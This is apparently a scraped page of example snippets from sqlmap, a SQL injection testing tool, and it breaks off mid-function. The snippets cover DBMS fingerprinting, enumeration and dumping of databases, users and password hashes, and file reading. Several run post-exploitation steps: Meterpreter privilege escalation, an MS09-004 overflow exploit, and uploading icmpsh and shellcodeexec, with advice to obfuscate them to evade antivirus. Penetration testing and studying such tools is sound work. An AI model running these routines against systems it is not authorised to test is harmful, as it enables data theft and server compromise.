Exemplo n.º 1
0
def queryOutputLength(expression, payload):
    """
    Returns the query output length.
    """

    lengthQuery = queries[kb.dbms].length.query

    select = re.search("\ASELECT\s+", expression, re.I)
    selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
    selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
    selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
    selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
    miscExpr = re.search("\A(.+)", expression, re.I)

    if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr:
        if selectTopExpr:
            regExpr = selectTopExpr.groups()[0]
        elif selectDistinctExpr:
            regExpr = selectDistinctExpr.groups()[0]
        elif selectFromExpr:
            regExpr = selectFromExpr.groups()[0]
        elif selectExpr:
            regExpr = selectExpr.groups()[0]
    elif miscExpr:
        regExpr = miscExpr.groups()[0]

    if (select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I)) or len(regExpr) <= 1:
        return None, None, None

    if selectDistinctExpr:
        lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression)

        if kb.dbms in (DBMS.MYSQL, DBMS.POSTGRESQL):
            lengthExpr += " AS %s" % randomStr(lowercase=True)
    elif select:
        lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
    else:
        lengthExpr = lengthQuery % expression

    infoMsg = "retrieving the length of query output"
    logger.info(infoMsg)

    output = resume(lengthExpr, payload)

    if output:
        return 0, output, regExpr

    dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))

    start = time.time()
    lengthExprUnescaped = unescaper.unescape(lengthExpr)
    count, length = bisection(payload, lengthExprUnescaped, charsetType=2)

    debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
    logger.debug(debugMsg)

    if length == " ":
        length = 0

    return count, length, regExpr
Exemplo n.º 2
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    def getSchema(self):
        infoMsg = "enumerating database management system schema"
        logger.info(infoMsg)

        pushValue(conf.db)
        pushValue(conf.tbl)
        pushValue(conf.col)

        conf.db = None
        conf.tbl = None
        conf.col = None
        kb.data.cachedTables = {}
        kb.data.cachedColumns = {}

        self.getTables()

        infoMsg = "fetched tables: "
        infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
                   Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
                   else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
                   kb.data.cachedTables.items()])
        logger.info(infoMsg)

        for db, tables in kb.data.cachedTables.items():
            for tbl in tables:
                conf.db = db
                conf.tbl = tbl

                self.getColumns()

        conf.col = popValue()
        conf.tbl = popValue()
        conf.db = popValue()

        return kb.data.cachedColumns
Exemplo n.º 3
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def _resumeOS():
    """
    Resume stored OS information from HashDB
    """

    value = hashDBRetrieve(HASHDB_KEYS.OS)

    if not value:
        return

    os = value

    if os and os != 'None':
        infoMsg = "resuming back-end DBMS operating system '%s' " % os
        logger.info(infoMsg)

        if conf.os and conf.os.lower() != os.lower():
            message = "you provided '%s' as back-end DBMS operating " % conf.os
            message += "system, but from a past scan information on the "
            message += "target URL sqlmap assumes the back-end DBMS "
            message += "operating system is %s. " % os
            message += "Do you really want to force the back-end DBMS "
            message += "OS value? [y/N] "
            test = readInput(message, default="N")

            if not test or test[0] in ("n", "N"):
                conf.os = os
        else:
            conf.os = os

        Backend.setOs(conf.os)
Exemplo n.º 4
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def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    if kb.redirectChoice:
        return None

    kb.matchRatio = None
    dynResult = None
    randInt = randomInt()

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    try:
        payload = agent.payload(place, parameter, value, getUnicode(randInt))
        dynResult = Request.queryPage(payload, place, raise404=False)

        if not dynResult:
            infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
            logger.info(infoMsg)

            randInt = randomInt()
            payload = agent.payload(place, parameter, value, getUnicode(randInt))
            dynResult = Request.queryPage(payload, place, raise404=False)
    except SqlmapConnectionException:
        pass

    result = None if dynResult is None else not dynResult
    kb.dynamicParameter = result

    return result
Exemplo n.º 5
0
    def getUsers(self):
        infoMsg = "fetching database users"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].users

        condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
        condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if condition:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedUsers = []
                for value in arrayizeValue(values):
                    value = unArrayizeValue(value)
                    if not isNoneValue(value):
                        kb.data.cachedUsers.append(value)

        if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if condition:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count

            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedUsers
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of database users"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                    query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
                elif condition:
                    query = rootQuery.blind.query2 % index
                else:
                    query = rootQuery.blind.query % index
                user = unArrayizeValue(inject.getValue(query, union=False, error=False))

                if user:
                    kb.data.cachedUsers.append(user)

        if not kb.data.cachedUsers:
            errMsg = "unable to retrieve the database users"
            logger.error(errMsg)

        return kb.data.cachedUsers
Exemplo n.º 6
0
def __setHTTPUserAgent():
    """
    Set the HTTP User-Agent header.
    Depending on the user options it can be:

        * The default sqlmap string
        * A default value read as user option
        * A random value read from a list of User-Agent headers from a
          file choosed as user option
    """

    if conf.agent:
        debugMsg = "setting the HTTP User-Agent header"
        logger.debug(debugMsg)

        conf.httpHeaders.append(("User-Agent", conf.agent))
        return

    if not conf.userAgentsFile:
        addDefaultUserAgent = True

        for header, _ in conf.httpHeaders:
            if header == "User-Agent":
                addDefaultUserAgent = False
                break

        if addDefaultUserAgent:
            conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))

        return

    if not kb.userAgents:
        debugMsg  = "loading random HTTP User-Agent header(s) from "
        debugMsg += "file '%s'" % conf.userAgentsFile
        logger.debug(debugMsg)

        try:
            kb.userAgents = getFileItems(conf.userAgentsFile)
        except IOError:
            warnMsg  = "unable to read HTTP User-Agent header "
            warnMsg += "file '%s'" % conf.userAgentsFile
            logger.warn(warnMsg)

            conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))

            return

    __count = len(kb.userAgents)

    if __count == 1:
        __userAgent = kb.userAgents[0]
    else:
        __userAgent = kb.userAgents[randomRange(stop=__count-1)]

    __userAgent = sanitizeStr(__userAgent)
    conf.httpHeaders.append(("User-Agent", __userAgent))

    logMsg  = "fetched random HTTP User-Agent header from "
    logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
    logger.info(logMsg)
Exemplo n.º 7
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    def dumpAll(self):
        if conf.db is not None and conf.tbl is None:
            self.dumpTable()
            return

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            raise SqlmapUnsupportedFeatureException(errMsg)

        infoMsg = "sqlmap will dump entries of all tables from all databases now"
        logger.info(infoMsg)

        conf.tbl = None
        conf.col = None

        self.getTables()

        if kb.data.cachedTables:
            if isinstance(kb.data.cachedTables, list):
                kb.data.cachedTables = { None: kb.data.cachedTables }

            for db, tables in kb.data.cachedTables.items():
                conf.db = db

                for table in tables:
                    try:
                        conf.tbl = table
                        kb.data.cachedColumns = {}
                        kb.data.dumpedTable = {}

                        self.dumpTable()
                    except SqlmapNoneDataException:
                        infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
                        logger.info(infoMsg)
Exemplo n.º 8
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def storeHashesToFile(attack_dict):
    if not attack_dict:
        return

    if kb.storeHashesChoice is None:
        message = "do you want to store hashes to a temporary file "
        message += "for eventual further processing with other tools [y/N] "
        test = readInput(message, default="N")
        kb.storeHashesChoice = test[0] in ("y", "Y")

    if not kb.storeHashesChoice:
        return

    handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt")
    os.close(handle)

    infoMsg = "writing hashes to a temporary file '%s' " % filename
    logger.info(infoMsg)

    items = set()

    with open(filename, "w+") as f:
        for user, hashes in attack_dict.items():
            for hash_ in hashes:
                hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
                if hash_ and hash_ != NULL and hashRecognition(hash_):
                    item = None
                    if user and not user.startswith(DUMMY_USER_PREFIX):
                        item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))
                    else:
                        item = "%s\n" % hash_.encode(UNICODE_ENCODING)

                    if item and item not in items:
                        f.write(item)
                        items.add(item)
Exemplo n.º 9
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def __findPageForms():
    if not conf.forms:
        return

    if not checkConnection():
        return

    infoMsg = "searching for forms"
    logger.info(infoMsg)

    response, _ = Request.queryPage(response=True)
    forms = ParseResponse(response, backwards_compat=False)

    if forms:
        for form in forms:
            request = form.click()
            url = request.get_full_url()
            method = request.get_method()
            data = request.get_data() if request.has_data() else None

            target = (url, method, data, conf.cookie)
            kb.targetUrls.add(target)
            kb.formNames[target] = form.name
    else:
        errMsg  = "there were no forms found at a given target url"
        raise sqlmapGenericException, errMsg
Exemplo n.º 10
0
    def __versionCheck(self):
        infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
        logger.info(infoMsg)

        query = agent.prefixQuery("/* NoValue */")
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        result = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform %s version check" % DBMS.MAXDB
            logger.warn(warnMsg)

            return None

        minor, major = None, None

        for version in (6, 7):
            result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                major = version

        for version in xrange(0, 10):
            result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                minor = version

        if major and minor:
            return "%s.%s" % (major, minor)
        else:
            return None
Exemplo n.º 11
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    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES):
            setDbms(DBMS.MAXDB)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.MAXDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.MAXDB
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.MAXDB)

            self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
            logger.warn(warnMsg)

            return False
Exemplo n.º 12
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    def closed(self):
        infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
        infoMsg += ":%d closed" % self.port
        logger.info(infoMsg)

        self.connector = None
        self.cursor = None
Exemplo n.º 13
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    def _loadMetExtensions(self, proc, metSess):
        if not Backend.isOs(OS.WINDOWS):
            return

        send_all(proc, "use espia\n")
        send_all(proc, "use incognito\n")
        # This extension is loaded by default since Metasploit > 3.7
        #send_all(proc, "use priv\n")
        # This extension freezes the connection on 64-bit systems
        #send_all(proc, "use sniffer\n")
        send_all(proc, "sysinfo\n")
        send_all(proc, "getuid\n")

        if conf.privEsc:
            print

            infoMsg = "trying to escalate privileges using Meterpreter "
            infoMsg += "'getsystem' command which tries different "
            infoMsg += "techniques, including kitrap0d"
            logger.info(infoMsg)

            send_all(proc, "getsystem\n")

            infoMsg = "displaying the list of Access Tokens availables. "
            infoMsg += "Choose which user you want to impersonate by "
            infoMsg += "using incognito's command 'impersonate_token' if "
            infoMsg += "'getsystem' does not success to elevate privileges"
            logger.info(infoMsg)

            send_all(proc, "list_tokens -u\n")
            send_all(proc, "getuid\n")
Exemplo n.º 14
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def readInput(message, default=None):
    """
    @param message: message to display on terminal.
    @type message: C{str}

    @return: a string read from keyboard as input.
    @rtype: C{str}
    """

    if "\n" in message:
        message += "\n> "
    elif message[-1] == ']':
        message += " "

    if conf.batch and default:
        infoMsg = "%s%s" % (message, getUnicode(default))
        logger.info(infoMsg)

        debugMsg = "used the default behaviour, running in batch mode"
        logger.debug(debugMsg)

        data = default
    else:
        data = raw_input(message.encode(sys.stdout.encoding))

        if not data:
            data = default

    return data
Exemplo n.º 15
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def expandAsteriskForColumns(expression):
    # If the user provided an asterisk rather than the column(s)
    # name, sqlmap will retrieve the columns itself and reprocess
    # the SQL query string (expression)
    asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)

    if asterisk:
        infoMsg  = "you did not provide the fields in your query. "
        infoMsg += "sqlmap will retrieve the column names itself"
        logger.info(infoMsg)

        dbTbl = asterisk.group(1)

        if dbTbl and "." in dbTbl:
            conf.db, conf.tbl = dbTbl.split(".", 1)
        else:
            conf.tbl = dbTbl

        columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)

        if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
            columns = columnsDict[conf.db][conf.tbl].keys()
            columns.sort()
            columnsStr = ", ".join([column for column in columns])
            expression = expression.replace("*", columnsStr, 1)

            infoMsg  = "the query with column names is: "
            infoMsg += "%s" % expression
            logger.info(infoMsg)

    return expression
Exemplo n.º 16
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    def nonStackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)

        return result
Exemplo n.º 17
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    def osBof(self):
        if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
            return

        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
            errMsg = "the back-end DBMS must be Microsoft SQL Server "
            errMsg += "2000 or 2005 to be able to exploit the heap-based "
            errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
            errMsg += "stored procedure (MS09-004)"
            raise SqlmapUnsupportedDBMSException(errMsg)

        infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
        infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
        infoMsg += "buffer overflow (MS09-004)"
        logger.info(infoMsg)

        msg = "this technique is likely to DoS the DBMS process, are you "
        msg += "sure that you want to carry with the exploit? [y/N] "
        inp = readInput(msg, default="N")

        if inp and inp[0].lower() == "y":
            dos = True
        else:
            dos = False

        if dos:
            self.initEnv(mandatory=False, detailed=True)
            self.getRemoteTempPath()
            self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
            self.bof()
Exemplo n.º 18
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    def getVersionFromBanner(self):
        if "dbmsVersion" in kb.bannerFp:
            return

        infoMsg = "detecting back-end DBMS version from its banner"
        logger.info(infoMsg)

        if Backend.isDbms(DBMS.MYSQL):
            first, last = 1, 6

        elif Backend.isDbms(DBMS.PGSQL):
            first, last = 12, 6

        elif Backend.isDbms(DBMS.MSSQL):
            first, last = 29, 9

        else:
            raise SqlmapUnsupportedFeatureException("unsupported DBMS")

        query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last)

        if conf.direct:
            query = "SELECT %s" % query

        kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query))
        kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "")
Exemplo n.º 19
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    def __runIcmpshSlaveRemote(self):
        infoMsg = "running icmpsh slave remotely"
        logger.info(infoMsg)

        cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr)

        self.execCmd(cmd, silent=True)
Exemplo n.º 20
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def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER):
    """
    REST-JSON API server
    """
    DataStore.admin_id = hexencode(os.urandom(16))
    Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1]
    #make adminid to known this is safe because api only avalible to local
    file_object = open('/www/xseclab.com/termite/.sqlmapadminid', 'w')
    file_object.write(DataStore.admin_id)
    file_object.close( )

    logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
    logger.info("Admin ID: %s" % DataStore.admin_id)
    logger.debug("IPC database: %s" % Database.filepath)

    # Initialize IPC database
    DataStore.current_db = Database()
    DataStore.current_db.connect()
    DataStore.current_db.init()

    # Run RESTful API
    try:
        if adapter == "gevent":
            from gevent import monkey
            monkey.patch_all()
        elif adapter == "eventlet":
            import eventlet
            eventlet.monkey_patch()
        logger.debug("Using adapter '%s' to run bottle" % adapter)
        run(host=host, port=port, quiet=True, debug=False, server=adapter)
    except socket.error, ex:
        if "already in use" in getSafeExString(ex):
            logger.error("Address already in use ('%s:%s')" % (host, port))
        else:
            raise
Exemplo n.º 21
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    def getDbs(self):
        if len(kb.data.cachedDbs) > 0:
            return kb.data.cachedDbs

        infoMsg = "fetching database names"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].dbs
        randStr = randomStr()
        query = rootQuery.inband.query

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            blinds = [False, True]
        else:
            blinds = [True]

        for blind in blinds:
            retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)

            if retVal:
                kb.data.cachedDbs = retVal[0].values()[0]
                break

        if kb.data.cachedDbs:
            kb.data.cachedDbs.sort()

        return kb.data.cachedDbs
Exemplo n.º 22
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    def checkDbmsOs(self, detailed=False):
        if Backend.getOs():
            return

        infoMsg = "fingerprinting the back-end DBMS operating system"
        logger.info(infoMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))

        # Windows executables should always have ' Visual C++' or ' mingw'
        # patterns within the banner
        osWindows = (" Visual C++", "mingw")

        for osPattern in osWindows:
            query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%" + osPattern + "%')>0"

            if inject.checkBooleanExpression(query):
                Backend.setOs(OS.WINDOWS)

                break

        if Backend.getOs() is None:
            Backend.setOs(OS.LINUX)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Exemplo n.º 23
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    def uploadIcmpshSlave(self, web=False):
        ICMPsh._initVars(self)
        self._randStr = randomStr(lowercase=True)
        self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr

        self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
        self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))

        logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)

        if web:
            written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
        else:
            written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)

        if written is not True:
            errMsg = "there has been a problem uploading icmpsh, it "
            errMsg += "looks like the binary file has not been written "
            errMsg += "on the database underlying file system or an AV has "
            errMsg += "flagged it as malicious and removed it. In such a case "
            errMsg += "it is recommended to recompile icmpsh with slight "
            errMsg += "modification to the source code or pack it with an "
            errMsg += "obfuscator software"
            logger.error(errMsg)

            return False
        else:
            logger.info("icmpsh successfully uploaded")
            return True
Exemplo n.º 24
0
    def uploadShellcodeexec(self, web=False):
        self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH

        if Backend.isOs(OS.WINDOWS):
            self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32"
        else:
            self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch()

        # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName
        # __basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
        __basename = os.path.basename(self.shellcodeexecLocal)

        if web:
            self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename)
        else:
            self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)

        self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))

        logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)

        if web:
            self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory)
        else:
            self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
Exemplo n.º 25
0
    def uploadShellcodeexec(self, web=False):
        self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec")

        if Backend.isOs(OS.WINDOWS):
            self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
        else:
            self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch())

        __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")

        self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
        self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))

        logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)

        if web:
            written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal)
        else:
            written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)

        if written is not True:
            errMsg = "there has been a problem uploading shellcodeexec, it "
            errMsg += "looks like the binary file has not been written "
            errMsg += "on the database underlying file system or an AV has "
            errMsg += "flagged it as malicious and removed it. In such a case "
            errMsg += "it is recommended to recompile shellcodeexec with "
            errMsg += "slight modification to the source code or pack it "
            errMsg += "with an obfuscator software"
            logger.error(errMsg)

            return False
        else:
            logger.info("shellcodeexec successfully uploaded")
            return True
Exemplo n.º 26
0
def storeResultsToFile(results):
    if not results:
        return

    if kb.storeCrawlingChoice is None:
        message = "do you want to store crawling results to a temporary file "
        message += "for eventual further processing with other tools [y/N] "

        kb.storeCrawlingChoice = readInput(message, default='N', boolean=True)

    if kb.storeCrawlingChoice:
        handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
        os.close(handle)

        infoMsg = "writing crawling results to a temporary file '%s' " % filename
        logger.info(infoMsg)

        with openFile(filename, "w+b") as f:
            if conf.forms:
                f.write("URL,POST\n")

            for url, _, data, _, _ in results:
                if conf.forms:
                    f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or "")))
                else:
                    f.write("%s\n" % url)
Exemplo n.º 27
0
    def stackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        self.initEnv()

        return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread")
Exemplo n.º 28
0
def storeHashesToFile(attack_dict):
    if not attack_dict:
        return

    handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt")
    os.close(handle)

    infoMsg = "writing hashes to file '%s' " % filename
    infoMsg += "for eventual further processing with other tools"
    logger.info(infoMsg)

    items = set()

    with open(filename, "w+") as f:
        for user, hashes in attack_dict.items():
            for hash_ in hashes:
                hash_ = hash_.split()[0] if hash_ else hash_
                if hash_ and hash_ != NULL and hashRecognition(hash_):
                    item = None
                    if user and not user.startswith(DUMMY_USER_PREFIX):
                        item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))
                    else:
                        item = "%s\n" % hash_.encode(UNICODE_ENCODING)

                    if item and item not in items:
                        f.write(item)
                        items.add(item)
Exemplo n.º 29
0
def unionTest():
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """

    logMsg  = "testing inband sql injection on parameter "
    logMsg += "'%s'" % kb.injParameter
    logger.info(logMsg)

    value = ""

    query = agent.prefixQuery(" UNION ALL SELECT NULL")

    for comment in (queries[kb.dbms].comment, ""):
        value = __effectiveUnionTest(query, comment)

        if value:
            setUnion(comment, value.count("NULL"))

            break

    if kb.unionCount:
        logMsg  = "the target url could be affected by an "
        logMsg += "inband sql injection vulnerability"
        logger.info(logMsg)
    else:
        warnMsg  = "the target url is not affected by an "
        warnMsg += "inband sql injection vulnerability"
        logger.warn(warnMsg)

    return value
Exemplo n.º 30
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES):
            setDbms(DBMS.DB2)

            return True

        logMsg = "testing %s" % DBMS.DB2
        logger.info(logMsg)

        result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)")

        if result:
            logMsg = "confirming %s" % DBMS.DB2
            logger.info(logMsg)

            version = self._versionCheck()

            if version:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
            logger.warn(warnMsg)

            return False
Exemplo n.º 31
0
def start():
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """

    if conf.hashFile:
        crackHashFile(conf.hashFile)

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = "found a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:
            if conf.checkInternet:
                infoMsg = "checking for Internet connection"
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = "[%s] [WARNING] no connection detected" % time.strftime(
                        "%X")
                    dataToStdout(warnMsg)

                    while not checkInternet():
                        dataToStdout('.')
                        time.sleep(5)

                    dataToStdout("\n")

            conf.url = targetUrl
            conf.method = targetMethod.upper().strip(
            ) if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            if conf.randomAgent or conf.mobile:
                for header, value in initialHeaders:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        conf.httpHeaders.append((header, value))
                        break

            conf.httpHeaders = [
                conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders))
                if conf.httpHeaders[i][0].upper() not in (
                    __[0].upper() for __ in conf.httpHeaders[i + 1:])
            ]

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any(
                (conf.data, conf.testParameter)):
                for parameter in re.findall(
                        r"([^=]+)=([^%s]+%s?|\Z)" %
                    (re.escape(conf.paramDel or "") or
                     DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
                     or DEFAULT_GET_POST_DELIMITER),
                        conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET,
                                parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"

                    kb.skipVulnHost = readInput(message,
                                                default='Y',
                                                boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms and conf.method:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
                                                      targetUrl)
                else:
                    message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET,
                                                  targetUrl)

                if conf.cookie:
